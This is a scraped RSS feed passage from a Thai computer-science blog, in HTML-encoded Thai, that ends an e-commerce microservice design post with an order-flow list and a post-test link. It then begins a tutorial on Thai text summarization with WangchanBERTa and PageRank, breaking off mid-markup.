&#xE23;&#xE30;&#xE1A;&#xE1A;&#xE1B;&#xE23;&#xE30;&#xE2A;&#xE32;&#xE19;&#xE07;&#xE32;&#xE19;&#xE01;&#xE31;&#xE1A;&#xE23;&#xE30;&#xE1A;&#xE1A;&#xE0A;&#xE33;&#xE23;&#xE30;&#xE40;&#xE07;&#xE34;&#xE19;&#xE20;&#xE32;&#xE22;&#xE19;&#xE2D;&#xE01;&#xE40;&#xE1E;&#xE37;&#xE48;&#xE2D;&#xE14;&#xE33;&#xE40;&#xE19;&#xE34;&#xE19;&#xE01;&#xE32;&#xE23;&#xE0A;&#xE33;&#xE23;&#xE30;&#xE40;&#xE07;&#xE34;&#xE19;</p><p><strong>Order</strong><br>21 &#xE23;&#xE30;&#xE1A;&#xE1A;&#xE41;&#xE08;&#xE49;&#xE07;&#xE1C;&#xE25;&#xE01;&#xE32;&#xE23;&#xE0A;&#xE33;&#xE23;&#xE30;&#xE40;&#xE07;&#xE34;&#xE19;&#xE43;&#xE2B;&#xE49;&#xE25;&#xE39;&#xE01;&#xE04;&#xE49;&#xE32;&#xE17;&#xE23;&#xE32;&#xE1A;</p><p><strong>Notification</strong><br>22. &#xE23;&#xE30;&#xE1A;&#xE1A;&#xE2A;&#xE48;&#xE07;&#xE2D;&#xE35;&#xE40;&#xE21;&#xE25;&#xE22;&#xE37;&#xE19;&#xE22;&#xE31;&#xE19;&#xE04;&#xE33;&#xE2A;&#xE31;&#xE48;&#xE07;&#xE0B;&#xE37;&#xE49;&#xE2D;&#xE43;&#xE2B;&#xE49;&#xE25;&#xE39;&#xE01;&#xE04;&#xE49;&#xE32;</p><p><strong>Order</strong><br>23. &#xE23;&#xE30;&#xE1A;&#xE1A;&#xE2D;&#xE31;&#xE1E;&#xE40;&#xE14;&#xE15;&#xE2A;&#xE16;&#xE32;&#xE19;&#xE30;&#xE04;&#xE33;&#xE2A;&#xE31;&#xE48;&#xE07;&#xE0B;&#xE37;&#xE49;&#xE2D;&#xE40;&#xE1B;&#xE47;&#xE19; &quot;&#xE0A;&#xE33;&#xE23;&#xE30;&#xE40;&#xE07;&#xE34;&#xE19;&#xE41;&#xE25;&#xE49;&#xE27;&quot;</p><p><strong>Shipping</strong><br>24. &#xE40;&#xE21;&#xE37;&#xE48;&#xE2D;&#xE44;&#xE14;&#xE49;&#xE23;&#xE31;&#xE1A;&#xE01;&#xE32;&#xE23;&#xE22;&#xE37;&#xE19;&#xE22;&#xE31;&#xE19;&#xE01;&#xE32;&#xE23;&#xE0A;&#xE33;&#xE23;&#xE30;&#xE40;&#xE07;&#xE34;&#xE19;, &#xE23;&#xE30;&#xE1A;&#xE1A;&#xE08;&#xE30;&#xE2A;&#xE48;&#xE07;&#xE04;&#xE33;&#xE2A;&#xE31;&#xE48;&#xE07;&#xE0B;&#xE37;&#xE49;&#xE2D;&#xE44;&#xE1B;&#xE22;&#xE31;&#xE07;&#xE04;&#xE25;&#xE31;&#xE07;&#xE2A;&#xE34;&#xE19;&#xE04;&#xE49;&#xE32;&#xE40;&#xE1E;&#xE37;&#xE48;&#xE2D;&#xE40;&#xE15;&#xE23;&#xE35;&#xE22;&#xE21;&#xE08;&#xE31;&#xE14;&#xE2A;&#xE48;&#xE07;</p><p><strong>Order</strong><br>25 &#xE23;&#xE30;&#xE1A;&#xE1A;&#xE08;&#xE31;&#xE14;&#xE2A;&#xE48;&#xE07;&#xE2A;&#xE34;&#xE19;&#xE04;&#xE49;&#xE32;&#xE41;&#xE25;&#xE30;&#xE2D;&#xE31;&#xE1E;&#xE40;&#xE14;&#xE15;&#xE2A;&#xE16;&#xE32;&#xE19;&#xE30;&#xE04;&#xE33;&#xE2A;&#xE31;&#xE48;&#xE07;&#xE0B;&#xE37;&#xE49;&#xE2D;&#xE40;&#xE1B;&#xE47;&#xE19; &quot;&#xE01;&#xE33;&#xE25;&#xE31;&#xE07;&#xE08;&#xE31;&#xE14;&#xE2A;&#xE48;&#xE07;&quot;</p><p><strong>Shipping</strong><br>26. &#xE25;&#xE39;&#xE01;&#xE04;&#xE49;&#xE32;&#xE2A;&#xE32;&#xE21;&#xE32;&#xE23;&#xE16;&#xE15;&#xE34;&#xE14;&#xE15;&#xE32;&#xE21;&#xE2A;&#xE16;&#xE32;&#xE19;&#xE30;&#xE01;&#xE32;&#xE23;&#xE08;&#xE31;&#xE14;&#xE2A;&#xE48;&#xE07;&#xE1C;&#xE48;&#xE32;&#xE19;&#xE40;&#xE27;&#xE47;&#xE1A;&#xE44;&#xE0B;&#xE15;&#xE4C;<br>27. &#xE25;&#xE39;&#xE01;&#xE04;&#xE49;&#xE32;&#xE44;&#xE14;&#xE49;&#xE23;&#xE31;&#xE1A;&#xE2A;&#xE34;&#xE19;&#xE04;&#xE49;&#xE32;</p><p><strong>Order</strong><br>28. &#xE23;&#xE30;&#xE1A;&#xE1A;&#xE2D;&#xE31;&#xE1E;&#xE40;&#xE14;&#xE15;&#xE2A;&#xE16;&#xE32;&#xE19;&#xE30;&#xE04;&#xE33;&#xE2A;&#xE31;&#xE48;&#xE07;&#xE0B;&#xE37;&#xE49;&#xE2D;&#xE40;&#xE1B;&#xE47;&#xE19; &quot;&#xE08;&#xE31;&#xE14;&#xE2A;&#xE48;&#xE07;&#xE2A;&#xE33;&#xE40;&#xE23;&#xE47;&#xE08;&quot;</p><p><strong>Review and Rating</strong><br>29. &#xE25;&#xE39;&#xE01;&#xE04;&#xE49;&#xE32;&#xE40;&#xE02;&#xE35;&#xE22;&#xE19;&#xE23;&#xE35;&#xE27;&#xE34;&#xE27;&#xE41;&#xE25;&#xE30;&#xE43;&#xE2B;&#xE49;&#xE04;&#xE30;&#xE41;&#xE19;&#xE19;&#xE2A;&#xE34;&#xE19;&#xE04;&#xE49;&#xE32;</p><p><strong>Return and Refund</strong><br>30. &#xE25;&#xE39;&#xE01;&#xE04;&#xE49;&#xE32;&#xE04;&#xE37;&#xE19;&#xE2A;&#xE34;&#xE19;&#xE04;&#xE49;&#xE32;&#xE17;&#xE35;&#xE48;&#xE44;&#xE21;&#xE48;&#xE15;&#xE49;&#xE2D;&#xE07;&#xE01;&#xE32;&#xE23;<br>31 &#xE23;&#xE30;&#xE1A;&#xE1A;&#xE14;&#xE33;&#xE40;&#xE19;&#xE34;&#xE19;&#xE01;&#xE32;&#xE23;&#xE15;&#xE32;&#xE21;&#xE19;&#xE42;&#xE22;&#xE1A;&#xE32;&#xE22;&#xE01;&#xE32;&#xE23;&#xE04;&#xE37;&#xE19;&#xE2A;&#xE34;&#xE19;&#xE04;&#xE49;&#xE32;</p><figure class="kg-card kg-image-card"><img src="https://blog.pjjop.org/content/images/2024/07/diagram-18.png" class="kg-image" alt loading="lazy" width="1952" height="1828" srcset="https://blog.pjjop.org/content/images/size/w600/2024/07/diagram-18.png 600w, https://blog.pjjop.org/content/images/size/w1000/2024/07/diagram-18.png 1000w, https://blog.pjjop.org/content/images/size/w1600/2024/07/diagram-18.png 1600w, https://blog.pjjop.org/content/images/2024/07/diagram-18.png 1952w" sizes="(min-width: 720px) 720px"></figure><p>&#xE43;&#xE19;&#xE1A;&#xE17;&#xE15;&#xE48;&#xE2D;&#xE44;&#xE1B;&#xE40;&#xE23;&#xE32;&#xE08;&#xE30;&#xE25;&#xE07;&#xE25;&#xE36;&#xE01;&#xE16;&#xE36;&#xE07;&#xE01;&#xE32;&#xE23;&#xE2D;&#xE2D;&#xE01;&#xE41;&#xE1A;&#xE1A; E-commerce Platform &#xE14;&#xE49;&#xE27;&#xE22; Microservice Architecture &#xE23;&#xE27;&#xE21;&#xE17;&#xE31;&#xE49;&#xE07;&#xE01;&#xE32;&#xE23;&#xE28;&#xE36;&#xE01;&#xE29;&#xE32; Best Practices &#xE02;&#xE2D;&#xE07;&#xE01;&#xE32;&#xE23;&#xE2D;&#xE2D;&#xE01;&#xE41;&#xE1A;&#xE1A; REST API &#xE41;&#xE25;&#xE30;&#xE01;&#xE32;&#xE23;&#xE17;&#xE33; API Documentation &#xE14;&#xE49;&#xE27;&#xE22; Swagger/OpenAPI &#xE01;&#xE31;&#xE19;&#xE04;&#xE23;&#xE31;&#xE1A;</p><h2 id="post-test-overview-and-system-design-of-scalable-e-commerce-platforms"><strong>Post-test : Overview and System Design of Scalable E-commerce Platforms</strong></h2><p>&#xE01;&#xE48;&#xE2D;&#xE19;&#xE08;&#xE32;&#xE01;&#xE01;&#xE31;&#xE19;&#xE43;&#xE19;&#xE1A;&#xE17;&#xE19;&#xE35;&#xE49; &#xE40;&#xE23;&#xE32;&#xE21;&#xE35; Challenge &#xE43;&#xE2B;&#xE49;&#xE1C;&#xE39;&#xE49;&#xE2D;&#xE48;&#xE32;&#xE19;&#xE44;&#xE14;&#xE49;&#xE25;&#xE2D;&#xE07;&#xE17;&#xE33; Post-test &#xE17;&#xE35;&#xE48;&#xE40;&#xE1B;&#xE47;&#xE19;&#xE02;&#xE49;&#xE2D;&#xE2A;&#xE2D;&#xE1A; Choice &#xE17;&#xE31;&#xE49;&#xE07;&#xE2B;&#xE21;&#xE14; 32 &#xE02;&#xE49;&#xE2D; &#xE44;&#xE21;&#xE48;&#xE08;&#xE33;&#xE01;&#xE31;&#xE14;&#xE40;&#xE27;&#xE25;&#xE32;&#xE43;&#xE19;&#xE01;&#xE32;&#xE23;&#xE17;&#xE33; &#xE40;&#xE21;&#xE37;&#xE48;&#xE2D; Submit &#xE41;&#xE25;&#xE49;&#xE27; &#xE1C;&#xE39;&#xE49;&#xE2D;&#xE48;&#xE32;&#xE19;&#xE08;&#xE30;&#xE2A;&#xE32;&#xE21;&#xE32;&#xE23;&#xE16;&#xE17;&#xE23;&#xE32;&#xE1A;&#xE1C;&#xE25;&#xE17;&#xE14;&#xE2A;&#xE2D;&#xE1A;&#xE44;&#xE14;&#xE49;&#xE40;&#xE25;&#xE22;</p><p>&#xE02;&#xE2D;&#xE43;&#xE2B;&#xE49;&#xE2A;&#xE19;&#xE38;&#xE01;&#xE01;&#xE31;&#xE1A;&#xE01;&#xE32;&#xE23;&#xE17;&#xE33; Post-test &#xE19;&#xE30;&#xE04;&#xE23;&#xE31;&#xE1A;!</p><figure class="kg-card kg-bookmark-card"><a class="kg-bookmark-container" href="https://forms.gle/8jKPEWCByDDhLNf3A?ref=blog.pjjop.org"><div class="kg-bookmark-content"><div class="kg-bookmark-title">Post-test : Overview and System Design of Scalable E-commerce Platforms</div><div class="kg-bookmark-description"></div><div class="kg-bookmark-metadata"><img class="kg-bookmark-icon" src="https://ssl.gstatic.com/docs/forms/device_home/android_192.png" alt><span class="kg-bookmark-author">Google Docs</span></div></div><div class="kg-bookmark-thumbnail"><img src="https://lh5.googleusercontent.com/G3iHJzFVUv5syv5u2YHgYznESpA-VOR7JpR-EpMppEhCRDRuRjsqTE3lMxYonm5ngqPNyn_du5g=w1200-h630-p" alt></div></a></figure>]]></content:encoded></item><item><title><![CDATA[การไฮไลท์ใจความสำคัญภาษาไทยแบบอัตโนมัติด้วย Bert Model และ PageRank Algorithm]]></title><description><![CDATA[<figure class="kg-card kg-image-card"><img src="https://blog.pjjop.org/content/images/2022/10/Screenshot-2565-10-11-at-15.29.48.png" class="kg-image" alt loading="lazy" width="2000" height="1554" srcset="https://blog.pjjop.org/content/images/size/w600/2022/10/Screenshot-2565-10-11-at-15.29.48.png 600w, https://blog.pjjop.org/content/images/size/w1000/2022/10/Screenshot-2565-10-11-at-15.29.48.png 1000w, https://blog.pjjop.org/content/images/size/w1600/2022/10/Screenshot-2565-10-11-at-15.29.48.png 1600w, https://blog.pjjop.org/content/images/size/w2400/2022/10/Screenshot-2565-10-11-at-15.29.48.png 2400w" sizes="(min-width: 720px) 720px"></figure><p><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em>&#xE1A;&#xE17;&#xE04;&#xE27;&#xE32;&#xE21;&#xE42;&#xE14;&#xE22; </em></em></em></em></em></em></em></em></em>&#xE1C;&#xE28;.<em><em><em><em><em><em><em>&#xE14;&#xE23;.&#xE13;&#xE31;&#xE10;&#xE42;&#xE0A;&#xE15;&#xE34; &#xE1E;&#xE23;&#xE2B;&#xE21;&#xE24;&#xE17;&#xE18;&#xE34;&#xE4C;</em></em></em></em></em></em></em></em> &#xE41;&#xE25;&#xE30; <em><em><em><em><em><em><em><em>&#xE2D;.&#xE14;&#xE23;.</em></em></em></em></em></em></em></em></em></em></em></em></em></em>&#xE2A;&#xE31;&#xE08;&#xE08;&#xE32;&#xE20;&#xE23;&#xE13;&#xE4C; &#xE44;&#xE27;&#xE08;&#xE23;&#xE23;&#xE22;</p>]]></description><link>https://blog.pjjop.org/thai-text-summarization-with-bert-and-pagerank/</link><guid isPermaLink="false">64e5a4e8a2dee2000115b30e</guid><dc:creator><![CDATA[Nuttachot Promrit]]></dc:creator><pubDate>Sun, 24 Sep 2023 04:50:23 GMT</pubDate><content:encoded><![CDATA[<figure class="kg-card kg-image-card"><img src="https://blog.pjjop.org/content/images/2022/10/Screenshot-2565-10-11-at-15.29.48.png" class="kg-image" alt loading="lazy" width="2000" height="1554" srcset="https://blog.pjjop.org/content/images/size/w600/2022/10/Screenshot-2565-10-11-at-15.29.48.png 600w, https://blog.pjjop.org/content/images/size/w1000/2022/10/Screenshot-2565-10-11-at-15.29.48.png 1000w, https://blog.pjjop.org/content/images/size/w1600/2022/10/Screenshot-2565-10-11-at-15.29.48.png 1600w, https://blog.pjjop.org/content/images/size/w2400/2022/10/Screenshot-2565-10-11-at-15.29.48.png 2400w" sizes="(min-width: 720px) 720px"></figure><p><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em>&#xE1A;&#xE17;&#xE04;&#xE27;&#xE32;&#xE21;&#xE42;&#xE14;&#xE22; </em></em></em></em></em></em></em></em></em>&#xE1C;&#xE28;.<em><em><em><em><em><em><em>&#xE14;&#xE23;.&#xE13;&#xE31;&#xE10;&#xE42;&#xE0A;&#xE15;&#xE34; &#xE1E;&#xE23;&#xE2B;&#xE21;&#xE24;&#xE17;&#xE18;&#xE34;&#xE4C;</em></em></em></em></em></em></em></em> &#xE41;&#xE25;&#xE30; <em><em><em><em><em><em><em><em>&#xE2D;.&#xE14;&#xE23;.</em></em></em></em></em></em></em></em></em></em></em></em></em></em>&#xE2A;&#xE31;&#xE08;&#xE08;&#xE32;&#xE20;&#xE23;&#xE13;&#xE4C; &#xE44;&#xE27;&#xE08;&#xE23;&#xE23;&#xE22;&#xE32;<br><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><a href="https://www.cp.su.ac.th/?ref=blog.pjjop.org">&#xE20;&#xE32;&#xE04;&#xE27;&#xE34;&#xE0A;&#xE32;&#xE04;&#xE2D;&#xE21;&#xE1E;&#xE34;&#xE27;&#xE40;&#xE15;&#xE2D;&#xE23;&#xE4C;</a></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em><br><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em>&#xE04;&#xE13;&#xE30;&#xE27;&#xE34;&#xE17;&#xE22;&#xE32;&#xE28;&#xE32;&#xE2A;&#xE15;&#xE23;&#xE4C;</em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em><br><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em>&#xE21;&#xE2B;&#xE32;&#xE27;&#xE34;&#xE17;&#xE22;&#xE32;&#xE25;&#xE31;&#xE22;&#xE28;&#xE34;&#xE25;&#xE1B;&#xE32;&#xE01;&#xE23;</em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></p><p>Text Summarization &#xE04;&#xE37;&#xE2D; &#xE01;&#xE32;&#xE23;&#xE2A;&#xE23;&#xE38;&#xE1B;&#xE40;&#xE19;&#xE37;&#xE49;&#xE2D;&#xE2B;&#xE32;&#xE43;&#xE19;&#xE40;&#xE2D;&#xE01;&#xE2A;&#xE32;&#xE23;&#xE43;&#xE2B;&#xE49;&#xE2A;&#xE31;&#xE49;&#xE19;&#xE25;&#xE07;&#xE42;&#xE14;&#xE22;&#xE22;&#xE31;&#xE07;&#xE04;&#xE07;&#xE44;&#xE14;&#xE49;&#xE04;&#xE27;&#xE32;&#xE21;&#xE2B;&#xE21;&#xE32;&#xE22;&#xE2B;&#xE25;&#xE31;&#xE01;&#xE40;&#xE2B;&#xE21;&#xE37;&#xE2D;&#xE19;&#xE40;&#xE2D;&#xE01;&#xE2A;&#xE32;&#xE23;&#xE15;&#xE49;&#xE19;&#xE09;&#xE1A;&#xE31;&#xE1A; &#xE01;&#xE32;&#xE23;&#xE17;&#xE33; Text Summarization &#xE14;&#xE49;&#xE27;&#xE22;&#xE21;&#xE37;&#xE2D;&#xE40;&#xE1B;&#xE47;&#xE19;&#xE07;&#xE32;&#xE19;&#xE17;&#xE35;&#xE48;&#xE43;&#xE0A;&#xE49;&#xE40;&#xE27;&#xE25;&#xE32;&#xE41;&#xE25;&#xE30;&#xE41;&#xE23;&#xE07;&#xE01;&#xE32;&#xE22;&#xE04;&#xE48;&#xE2D;&#xE19;&#xE02;&#xE49;&#xE32;&#xE07;&#xE21;&#xE32;&#xE01; &#xE14;&#xE31;&#xE07;&#xE19;&#xE31;&#xE49;&#xE19;&#xE01;&#xE32;&#xE23;&#xE17;&#xE33; Text Summarization &#xE41;&#xE1A;&#xE1A;&#xE2D;&#xE31;&#xE15;&#xE42;&#xE19;&#xE21;&#xE31;&#xE15;&#xE34;&#xE08;&#xE36;&#xE07;&#xE44;&#xE14;&#xE49;&#xE23;&#xE31;&#xE1A;&#xE04;&#xE27;&#xE32;&#xE21;&#xE2A;&#xE19;&#xE43;&#xE08;&#xE2D;&#xE22;&#xE48;&#xE32;&#xE07;&#xE21;&#xE32;&#xE01;&#xE43;&#xE19;&#xE1B;&#xE31;&#xE08;&#xE08;&#xE38;&#xE1A;&#xE31;&#xE19;</p><p>&#xE40;&#xE23;&#xE32;&#xE2A;&#xE32;&#xE21;&#xE32;&#xE23;&#xE16;&#xE41;&#xE1A;&#xE48;&#xE07;&#xE01;&#xE32;&#xE23;&#xE17;&#xE33; Text Summarization &#xE2D;&#xE2D;&#xE01;&#xE40;&#xE1B;&#xE47;&#xE19; 2 &#xE41;&#xE1A;&#xE1A;&#xE2B;&#xE25;&#xE31;&#xE01; &#xE46; &#xE04;&#xE37;&#xE2D; &#xE41;&#xE1A;&#xE1A; <strong>Extraction-based Summarization</strong> &#xE41;&#xE25;&#xE30;&#xE41;&#xE1A;&#xE1A; <strong>Abstraction-based Summarization</strong></p><p>Extraction-based &#xE08;&#xE30;&#xE40;&#xE1B;&#xE47;&#xE19;&#xE01;&#xE32;&#xE23;&#xE40;&#xE25;&#xE37;&#xE2D;&#xE01;&#xE04;&#xE33; &#xE2B;&#xE23;&#xE37;&#xE2D;&#xE1B;&#xE23;&#xE30;&#xE42;&#xE22;&#xE04;&#xE08;&#xE32;&#xE01;&#xE40;&#xE2D;&#xE01;&#xE2A;&#xE32;&#xE23;&#xE15;&#xE49;&#xE19;&#xE09;&#xE1A;&#xE31;&#xE1A; &#xE04;&#xE25;&#xE49;&#xE32;&#xE22; &#xE46; &#xE01;&#xE31;&#xE1A;&#xE01;&#xE32;&#xE23; &#xE44;&#xE2E;&#xE44;&#xE25;&#xE17;&#xE4C;&#xE02;&#xE49;&#xE2D;&#xE04;&#xE27;&#xE32;&#xE21;&#xE43;&#xE19;&#xE40;&#xE2D;&#xE01;&#xE2A;&#xE32;&#xE23;&#xE14;&#xE49;&#xE27;&#xE22;&#xE1B;&#xE32;&#xE01;&#xE01;&#xE32; &#xE42;&#xE14;&#xE22;&#xE21;&#xE32;&#xE01;&#xE08;&#xE30;&#xE43;&#xE0A;&#xE49;&#xE40;&#xE17;&#xE04;&#xE19;&#xE34;&#xE04;&#xE1E;&#xE27;&#xE01; Unsupervised Learning &#xE40;&#xE1E;&#xE37;&#xE48;&#xE2D;&#xE40;&#xE25;&#xE37;&#xE2D;&#xE01;&#xE1B;&#xE23;&#xE30;&#xE42;&#xE22;&#xE04;&#xE43;&#xE19;&#xE40;&#xE2D;&#xE01;&#xE2A;&#xE32;&#xE23; &#xE02;&#xE13;&#xE30;&#xE17;&#xE35;&#xE48;&#xE40;&#xE17;&#xE04;&#xE19;&#xE34;&#xE04; Abstraction-based &#xE08;&#xE30;&#xE40;&#xE1B;&#xE47;&#xE19;&#xE01;&#xE32;&#xE23;&#xE2A;&#xE23;&#xE38;&#xE1B;&#xE04;&#xE27;&#xE32;&#xE21;&#xE42;&#xE14;&#xE22;&#xE43;&#xE0A;&#xE49; Model &#xE1E;&#xE27;&#xE01; Deep Learning &#xE40;&#xE1E;&#xE37;&#xE48;&#xE2D;&#xE16;&#xE2D;&#xE14;&#xE04;&#xE27;&#xE32;&#xE21;&#xE41;&#xE25;&#xE30;&#xE2A;&#xE23;&#xE49;&#xE32;&#xE07;&#xE40;&#xE2D;&#xE01;&#xE2A;&#xE32;&#xE23;&#xE43;&#xE2B;&#xE21;&#xE48;&#xE17;&#xE35;&#xE48;&#xE2A;&#xE31;&#xE49;&#xE19;&#xE01;&#xE27;&#xE48;&#xE32;&#xE40;&#xE2D;&#xE01;&#xE2A;&#xE32;&#xE23;&#xE15;&#xE49;&#xE19;&#xE09;&#xE1A;&#xE31;&#xE1A;</p><p>&#xE01;&#xE32;&#xE23;&#xE17;&#xE33; Text Summarization &#xE41;&#xE1A;&#xE1A; Abstraction-based &#xE40;&#xE1E;&#xE37;&#xE48;&#xE2D;&#xE43;&#xE2B;&#xE49;&#xE44;&#xE14;&#xE49;&#xE17;&#xE31;&#xE49;&#xE07;&#xE43;&#xE08;&#xE04;&#xE27;&#xE32;&#xE21;&#xE2A;&#xE33;&#xE04;&#xE31;&#xE0D;&#xE41;&#xE25;&#xE30;&#xE02;&#xE49;&#xE2D;&#xE04;&#xE27;&#xE32;&#xE21;&#xE17;&#xE35;&#xE48;&#xE16;&#xE39;&#xE01;&#xE15;&#xE49;&#xE2D;&#xE07;&#xE15;&#xE32;&#xE21;&#xE2B;&#xE25;&#xE31;&#xE01;&#xE44;&#xE27;&#xE22;&#xE01;&#xE23;&#xE13;&#xE4C;&#xE43;&#xE19;&#xE41;&#xE15;&#xE48;&#xE25;&#xE30;&#xE20;&#xE32;&#xE29;&#xE32; &#xE22;&#xE31;&#xE07;&#xE04;&#xE07;&#xE40;&#xE1B;&#xE47;&#xE19;&#xE2A;&#xE34;&#xE48;&#xE07;&#xE17;&#xE49;&#xE32;&#xE17;&#xE32;&#xE22;&#xE43;&#xE19;&#xE1B;&#xE31;&#xE08;&#xE08;&#xE38;&#xE1A;&#xE31;&#xE19; &#xE02;&#xE13;&#xE30;&#xE17;&#xE35;&#xE48;&#xE01;&#xE32;&#xE23;&#xE17;&#xE33; Text Summarization &#xE41;&#xE1A;&#xE1A; Extraction-based &#xE08;&#xE30;&#xE43;&#xE0A;&#xE49;&#xE04;&#xE27;&#xE32;&#xE21;&#xE1E;&#xE22;&#xE32;&#xE22;&#xE32;&#xE21;&#xE17;&#xE35;&#xE48;&#xE19;&#xE49;&#xE2D;&#xE22;&#xE01;&#xE27;&#xE48;&#xE32;&#xE41;&#xE15;&#xE48;&#xE01;&#xE47;&#xE2A;&#xE32;&#xE21;&#xE32;&#xE23;&#xE16;&#xE44;&#xE14;&#xE49;&#xE1C;&#xE25;&#xE25;&#xE31;&#xE1E;&#xE18;&#xE4C;&#xE17;&#xE35;&#xE48;&#xE2A;&#xE32;&#xE21;&#xE32;&#xE23;&#xE16;&#xE43;&#xE0A;&#xE49;&#xE07;&#xE32;&#xE19;&#xE44;&#xE14;&#xE49;&#xE14;&#xE35;&#xE23;&#xE30;&#xE14;&#xE31;&#xE1A;&#xE2B;&#xE19;&#xE36;&#xE48;&#xE07;</p><p>&#xE43;&#xE19;&#xE1A;&#xE17;&#xE04;&#xE27;&#xE32;&#xE21;&#xE19;&#xE35;&#xE49;&#xE40;&#xE23;&#xE32;&#xE08;&#xE30;&#xE43;&#xE0A;&#xE49;&#xE40;&#xE17;&#xE04;&#xE19;&#xE34;&#xE04;&#xE41;&#xE1A;&#xE1A; Extraction-based &#xE40;&#xE1E;&#xE37;&#xE48;&#xE2D;&#xE44;&#xE2E;&#xE44;&#xE25;&#xE17;&#xE4C;&#xE43;&#xE08;&#xE04;&#xE27;&#xE32;&#xE21;&#xE2A;&#xE33;&#xE04;&#xE31;&#xE0D;&#xE02;&#xE2D;&#xE07;&#xE1A;&#xE17;&#xE04;&#xE27;&#xE32;&#xE21;&#xE20;&#xE32;&#xE29;&#xE32;&#xE44;&#xE17;&#xE22; &#xE14;&#xE49;&#xE27;&#xE22;&#xE01;&#xE32;&#xE23;&#xE2A;&#xE23;&#xE49;&#xE32;&#xE07;&#xE01;&#xE23;&#xE32;&#xE1F;&#xE02;&#xE2D;&#xE07;&#xE40;&#xE2D;&#xE01;&#xE2A;&#xE32;&#xE23;&#xE17;&#xE31;&#xE49;&#xE07;&#xE40;&#xE2D;&#xE01;&#xE2A;&#xE32;&#xE23; &#xE17;&#xE35;&#xE48;&#xE21;&#xE35;&#xE01;&#xE32;&#xE23;&#xE41;&#xE17;&#xE19;&#xE04;&#xE48;&#xE32; <strong>Weight</strong> &#xE1A;&#xE19;&#xE40;&#xE2A;&#xE49;&#xE19;&#xE40;&#xE0A;&#xE37;&#xE48;&#xE2D;&#xE21; (<strong>Edge</strong>) &#xE23;&#xE30;&#xE2B;&#xE27;&#xE48;&#xE32;&#xE07;&#xE1B;&#xE23;&#xE30;&#xE42;&#xE22;&#xE04; (<strong>Node</strong> &#xE2B;&#xE23;&#xE37;&#xE2D; <strong>Vertex</strong>) &#xE14;&#xE49;&#xE27;&#xE22;&#xE04;&#xE48;&#xE32; <strong>Sentence Similarity</strong> (1 - Cosine Distance) &#xE42;&#xE14;&#xE22;&#xE43;&#xE0A;&#xE49; Sentence Vector &#xE17;&#xE35;&#xE48;&#xE44;&#xE14;&#xE49;&#xE08;&#xE32;&#xE01; Wangchanberta &#xE41;&#xE25;&#xE49;&#xE27;&#xE04;&#xE33;&#xE19;&#xE27;&#xE13;&#xE04;&#xE48;&#xE32; PageRank (<strong>PR</strong>) &#xE08;&#xE32;&#xE01;&#xE01;&#xE23;&#xE32;&#xE1F; &#xE42;&#xE14;&#xE22;&#xE40;&#xE23;&#xE32;&#xE08;&#xE30;&#xE40;&#xE25;&#xE37;&#xE2D;&#xE01;&#xE1B;&#xE23;&#xE30;&#xE42;&#xE22;&#xE04;&#xE17;&#xE35;&#xE48;&#xE21;&#xE35;&#xE04;&#xE48;&#xE32; PR &#xE21;&#xE32;&#xE01;&#xE17;&#xE35;&#xE48;&#xE2A;&#xE38;&#xE14; &#xE08;&#xE33;&#xE19;&#xE27;&#xE19; 20% &#xE02;&#xE2D;&#xE07;&#xE1B;&#xE23;&#xE30;&#xE42;&#xE22;&#xE04;&#xE17;&#xE31;&#xE49;&#xE07;&#xE2B;&#xE21;&#xE14;&#xE40;&#xE1B;&#xE47;&#xE19;&#xE15;&#xE31;&#xE27;&#xE41;&#xE17;&#xE19;&#xE02;&#xE2D;&#xE07;&#xE40;&#xE2D;&#xE01;&#xE2A;&#xE32;&#xE23;&#xE15;&#xE49;&#xE19;&#xE09;&#xE1A;&#xE31;&#xE1A;&#xE04;&#xE23;&#xE31;&#xE1A;</p><h2 id="%E0%B8%94%E0%B8%B6%E0%B8%87-vector-%E0%B8%82%E0%B8%AD%E0%B8%87%E0%B8%9B%E0%B8%A3%E0%B8%B0%E0%B9%82%E0%B8%A2%E0%B8%84%E0%B8%A0%E0%B8%B2%E0%B8%A9%E0%B8%B2%E0%B9%84%E0%B8%97%E0%B8%A2%E0%B8%88%E0%B8%B2%E0%B8%81-wangchanberta">&#xE14;&#xE36;&#xE07; Vector &#xE02;&#xE2D;&#xE07;&#xE1B;&#xE23;&#xE30;&#xE42;&#xE22;&#xE04;&#xE20;&#xE32;&#xE29;&#xE32;&#xE44;&#xE17;&#xE22;&#xE08;&#xE32;&#xE01; Wangchanberta</h2><p>&#xE1C;&#xE39;&#xE49;&#xE40;&#xE02;&#xE35;&#xE22;&#xE19;&#xE43;&#xE0A;&#xE49; Colab PRO+ &#xE43;&#xE19;&#xE01;&#xE32;&#xE23;&#xE17;&#xE14;&#xE25;&#xE2D;&#xE07; &#xE42;&#xE14;&#xE22;&#xE01;&#xE48;&#xE2D;&#xE19;&#xE2D;&#xE37;&#xE48;&#xE19;&#xE43;&#xE2B;&#xE49;&#xE40;&#xE1B;&#xE25;&#xE35;&#xE48;&#xE22;&#xE19; Runtime Type &#xE44;&#xE1B;&#xE43;&#xE0A;&#xE49; GPU &#xE41;&#xE25;&#xE30;&#xE15;&#xE34;&#xE14;&#xE15;&#xE31;&#xE49;&#xE07; Library &#xE2B;&#xE25;&#xE31;&#xE01; 6 &#xE15;&#xE31;&#xE27;</p><ul><li>&#xE40;&#xE21;&#xE37;&#xE48;&#xE2D;&#xE40;&#xE1B;&#xE25;&#xE35;&#xE48;&#xE22;&#xE19; Runtime Type &#xE41;&#xE25;&#xE49;&#xE27;&#xE43;&#xE2B;&#xE49;&#xE15;&#xE23;&#xE27;&#xE08;&#xE2A;&#xE2D;&#xE1A;&#xE01;&#xE32;&#xE23;&#xE43;&#xE0A;&#xE49; GPU</li></ul><pre><code>!nvidia-smi</code></pre><figure class="kg-card kg-image-card"><img src="https://blog.pjjop.org/content/images/2022/10/Screenshot-2565-10-14-at-20.44.22.png" class="kg-image" alt loading="lazy" width="1562" height="788" srcset="https://blog.pjjop.org/content/images/size/w600/2022/10/Screenshot-2565-10-14-at-20.44.22.png 600w, https://blog.pjjop.org/content/images/size/w1000/2022/10/Screenshot-2565-10-14-at-20.44.22.png 1000w, 